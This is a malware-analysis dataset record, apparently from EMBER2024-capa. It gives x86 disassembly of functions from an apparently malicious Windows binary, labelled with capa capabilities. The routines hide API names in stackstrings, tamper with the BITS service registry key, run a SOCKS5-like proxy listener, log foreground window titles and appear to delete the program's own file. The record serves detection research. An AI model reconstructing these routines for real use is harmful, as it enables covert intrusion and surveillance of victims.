joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409eb6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0x4014ec
push 0x4013b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 2], 0
push 0
push dword [ebp + 8]
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0x49
mov byte [ebp - 4], 0x54
mov byte [ebp - 3], 0x53
call eax
push eax
lea eax, [ebp - 0x28]
push dword [ebp + 8]
push 1
push 0x401634
push eax
push reloc.WS2_32.dll_bind
call fcn.0040d44b
add esp, 0x1c
leave
ret
Function at 0x40a5ae
Capabilities:
Contain obfuscated stackstrings
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x32
mov byte [ebp - 0x11], 0x5f
mov byte [ebp - 0x10], 0x33
mov byte [ebp - 0xf], 0x32
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], bl
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x76
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov esi, dword [ebp + 0xc]
mov byte [ebp - 2], 5
mov byte [ebp - 1], bl
mov al, byte [esi]
cmp al, 5
je 0x40a636
movzx eax, al
jmp 0x40a789
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov al, byte [esi + 2]
cmp al, bl
je 0x40a651
cmp al, 2
jne 0x40a782
push 0x41ae0c
call sub.MSVCRT.dll_strlen
neg eax
sbb al, al
pop ecx
and eax, 2
push ebx
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push 2
push eax
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40a782
cmp byte [ebp - 1], 2
jne 0x40a786
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, pe_nt_image_headers32
lea eax, [ebp - 0x118]
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0x18
push ebx
push 0x5000
push esi
push dword [eax]
call dword [ebp - 0x18]
cmp eax, 0xffffffff
je 0x40a782
cmp eax, ebx
je 0x40a782
cmp byte [esi], 1
jne 0x40a782
mov al, byte [esi + 1]
cmp al, bl
je 0x40a705
movzx eax, al
cmp eax, edi
jg 0x40a705
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
cmp ecx, ebx
je 0x40a737
cmp ecx, edi
jg 0x40a737
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 0x41ae0c
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40a76a
lea eax, [ebp - 0x218]
push eax
push 0x41af0c
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40a76a
mov byte [esi + 1], bl
jmp 0x40a76e
or byte [esi + 1], 0xff
mov eax, dword [ebp + 8]
push ebx
push 2
push esi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40a786
xor eax, eax
jmp 0x40a789
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a78e
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x41ad90
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, dword [ebp + 8]
mov esi, eax
test esi, esi
je 0x40a7f1
and dword [ebp + 8], 0
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 8]
xor edi, edi
cmp dword [eax + ecx], edi
je 0x40a7f1
and byte [ebx], 0
cmp word [esi + 0xa], di
jle 0x40a7eb
test edi, edi
jle 0x40a7d6
push 0x401578
push ebx
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
inc edi
pop ecx
cmp edi, eax
pop ecx
jl 0x40a7c5
add dword [ebp + 8], 4
jmp 0x40a7af
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x40a7f8
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
test ecx, ecx
jne 0x40a81a
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
pop ebp
ret

Function at 0x40aa0f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, 1
mov eax, 0xffffffff
nop
nop
push dword [ebp + 0x10]
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x40aa6a
call fcn.0040a7f8
test eax, eax
pop ecx
je 0x40aaca
push edi
call fcn.0040a7f8
pop ecx
push eax
call esi
mov dword [ebp - 0x10], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x40aaca
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40aad0
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x40aacc
Function at 0x40aad5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and byte [ebp - 0xe], 0
and byte [ebp - 8], 0
push esi
lea eax, [ebp - 0xc]
push edi
push eax
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x57
push eax
mov byte [ebp - 0x17], 0x53
mov byte [ebp - 0x16], 0x32
mov byte [ebp - 0x15], 0x5f
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0x32
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x76
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
push dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push esi
push edi
call fcn.0040a5ae
add esp, 0xc
test eax, eax
je 0x40abe6
cmp eax, 4
jne 0x40ab7e
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 2
push dword [ebp + 0x10]
push esi
call fcn.0040a829
add esp, 0x14
neg eax
sbb eax, eax
and eax, 4
jmp 0x40abe8
mov eax, 1
mov eax, 0xffffffff
nop
nop
push 0
push 0x5000
push esi
push dword [edi]
call dword [ebp - 4]
mov ecx, eax
cmp ecx, 0xffffffff
je 0x40abe6
test ecx, ecx
je 0x40abe6
cmp byte [esi], 5
jne 0x40abe6
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov al, byte [esi + 3]
cmp al, 1
je 0x40abbe
cmp al, 3
jne 0x40abe6
push dword [ebp + 0x18]
movzx eax, al
push dword [ebp + 0x14]
push eax
push ecx
push esi
call fcn.0040a829
add esp, 0x14
test eax, eax
je 0x40abe6
mov al, byte [esi + 1]
cmp al, 1
je 0x40abe1
cmp al, 3
jne 0x40abe6
movzx eax, al
jmp 0x40abe8
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x40abec
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
cmp edi, 0xffffffff
je 0x40ac4c
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40ac50
xor eax, eax
jmp 0x40ac89
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.0040a78e
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret
Function at 0x40b281
Capabilities:
Contain obfuscated stackstrings
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
push esi
lea eax, [ebp - 0x1cc]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40b2a8
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, 1
mov eax, 0xffffffff
nop
nop
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x3c], esi
je 0x40b2a2
xor eax, eax
lea edi, [ebp - 0x32]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x41ad98]
mov word [ebp - 0x34], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
and dword [ebp - 0x30], 0
mov word [ebp - 0x32], ax
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x34]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40b2a2
push ebx
push 0x32
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x40b321
xor eax, eax
pop ebx
jmp 0x40b2a4
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 8], 0
lea eax, [ebp - 0x14]
mov ebx, 0x4013b0
push eax
push ebx
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x54
mov byte [ebp - 0xd], 0x68
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x64
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x38], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
push 0
push 0
push dword [ebp - 0x3c]
call dword [sym.imp.WS2_32.dll_accept]
push 8
mov dword [ebp - 0x24], eax
call dword [sym.imp.MSVCRT.dll_malloc]
test eax, eax
pop ecx
je 0x40b37f
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
lea ecx, [ebp - 4]
push ecx
xor ecx, ecx
push ecx
push eax
push 0x40ac8c
push ecx
push ecx
call dword [ebp - 0x38]
test eax, eax
mov dword [ebp - 0x24], eax
jne 0x40b3c7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40b37f
nop
nop
nop
nop
nop
nop
and byte [ebp - 0x15], 0
lea eax, [ebp - 0x20]
push eax
push ebx
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x48
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x65
call esi
push eax
call edi
push dword [ebp - 0x24]
call eax
jmp 0x40b37f

Function at 0x40b64f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
mov eax, 1
mov eax, 0xffffffff
nop
nop
test edi, edi
jle 0x40b691
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x40b68c
sub edi, eax
add esi, eax
jmp 0x40b665
or eax, 0xffffffff
jmp 0x40b693
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x40be50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x419bf8
call fcn.004196c0
sub esp, 0x18
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [esi], 0x403344
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x54
push eax
push 0x4013b0
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x6d
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x54
mov byte [ebp - 0x1a], 0x68
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [esi + 0x9e50], ebx
mov dword [ebp - 0x10], eax
jbe 0x40befe
push edi
lea edi, [esi + 0x210]
push 0xffffffffffffffff
push dword [edi]
call dword [ebp - 0x10]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0x9e50]
jb 0x40bee2
pop edi
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.0040cd4e
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40c129
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0xc]
push edi
mov ebx, 0x4013b0
push eax
push ebx
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x46
mov byte [ebp - 5], 0x69
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x65
mov byte [ebp - 2], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0xe], 0
lea eax, [ebp - 0x20]
push eax
push ebx
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x4d
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x75
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x4e
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x41
call esi
push eax
call edi
lea ecx, [ebp - 0x124]
push 0x104
push ecx
push dword [0x41b620]
call eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40c3f4
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4014ec
push 0x4013b0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, 0x400
mov esi, 0x41b218
push ebx
push 0
push esi
mov dword [ebp - 0x18], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x41b618], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 3], 0
lea eax, [ebp - 0xc]
push eax
push 0x4014e0
mov byte [ebp - 0xc], 0x77
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x66
mov byte [ebp - 4], 0x41
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 0x428], 0
mov dword [ebp - 0x14], eax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
and dword [ebp - 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x41b618]
cmp eax, dword [0x41b214]
je 0x40c525
push esi
call dword [ebp - 0x18]
test eax, eax
jle 0x40c51b
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x20]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x26]
push eax
movzx eax, word [ebp - 0x28]
push eax
push esi
lea eax, [ebp - 0x428]
push 0x401cf0
push eax
call dword [ebp - 0x14]
lea eax, [ebp - 0x428]
push eax
call fcn.0040c208
push ebx
lea eax, [ebp - 0x428]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x40
mov dword [ebp - 0x10], 1
mov eax, dword [0x41b618]
mov dword [0x41b214], eax
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c9b2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 0x16], 0
lea eax, [ebp - 0x20]
mov byte [ebp - 0x20], 0x4c
push eax
push 0x4013b0
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x41
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x63
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ecx, dword [ebp + 0xc]
inc ecx
push ecx
push 0x40
mov dword [ebp - 4], ecx
call eax
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
lea eax, [esi + 1]
mov byte [esi], 0x7c
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 0xb], 0
lea eax, [ebp - 0x14]
push eax
push 0x4013b0
mov byte [ebp - 0x14], 0x4c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x65
call edi
push eax
call ebx
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edi, eax
push esi
call fcn.0040cd61
push esi
mov ebx, eax
call edi
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret 8
Function at 0x40cda6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov eax, 1
mov eax, 0xffffffff
nop
nop
and byte [ebp - 1], 0
lea eax, [ebp - 0x14]
push eax
push 0x4013b0
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x4f
mov byte [ebp - 6], 0x62
mov byte [ebp - 5], 0x6a
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x63
mov byte [ebp - 2], 0x74
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xffffffffffffffff
push dword [esi + 8]
call eax
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
pop esi
leave
ret
Function at 0x40d44b
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403370
push 0x419748
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov byte [ebp - 0x34], 0x52
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x67
mov byte [ebp - 0x31], 0x4f
mov byte [ebp - 0x30], 0x70
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x4b
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x79
mov byte [ebp - 0x2a], 0x45
mov byte [ebp - 0x29], 0x78
mov byte [ebp - 0x28], 0x41
mov byte [ebp - 0x27], bl
lea eax, [ebp - 0x34]
push eax
push 0x401520
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
sub eax, ebx
je 0x40d544
dec eax
je 0x40d565
dec eax
je 0x40d51c
dec eax
jne 0x40d5bb
lea eax, [ebp - 0x38]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
test eax, eax
jne 0x40d5bb
push dword [ebp + 0x10]
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x40d5b0
lea eax, [ebp - 0x38]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
test eax, eax
jne 0x40d5bb
push dword [ebp + 0x10]
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x40d5b0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x38]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40d5bb
lea eax, [ebp - 0x38]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
test eax, eax
jne 0x40d5bb
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe 0x40d5bb
cmp esi, 2
jbe 0x40d594
cmp esi, 4
jne 0x40d5bb
push esi
lea eax, [ebp + 0x1c]
push eax
push esi
jmp 0x40d5a3
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push esi
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40d5bb
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.0040d5d6
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret